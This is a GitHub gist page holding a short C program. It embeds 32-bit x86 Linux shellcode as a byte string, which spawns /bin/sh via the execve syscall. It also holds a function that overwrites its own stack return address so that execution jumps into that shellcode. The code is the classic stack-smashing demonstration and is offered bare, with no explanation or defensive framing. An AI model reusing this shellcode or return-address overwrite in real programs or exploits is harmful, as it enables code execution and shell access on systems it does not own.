Skip to content

Instantly share code, notes, and snippets.

@Eastkap
Created May 14, 2019 20:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Eastkap/dc0a07f146b2ed1714b73c1e24516451 to your computer and use it in GitHub Desktop.
Save Eastkap/dc0a07f146b2ed1714b73c1e24516451 to your computer and use it in GitHub Desktop.
char shellCode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void execShell() { int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellCode;
}
void main() {
execShell();
return(0); }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment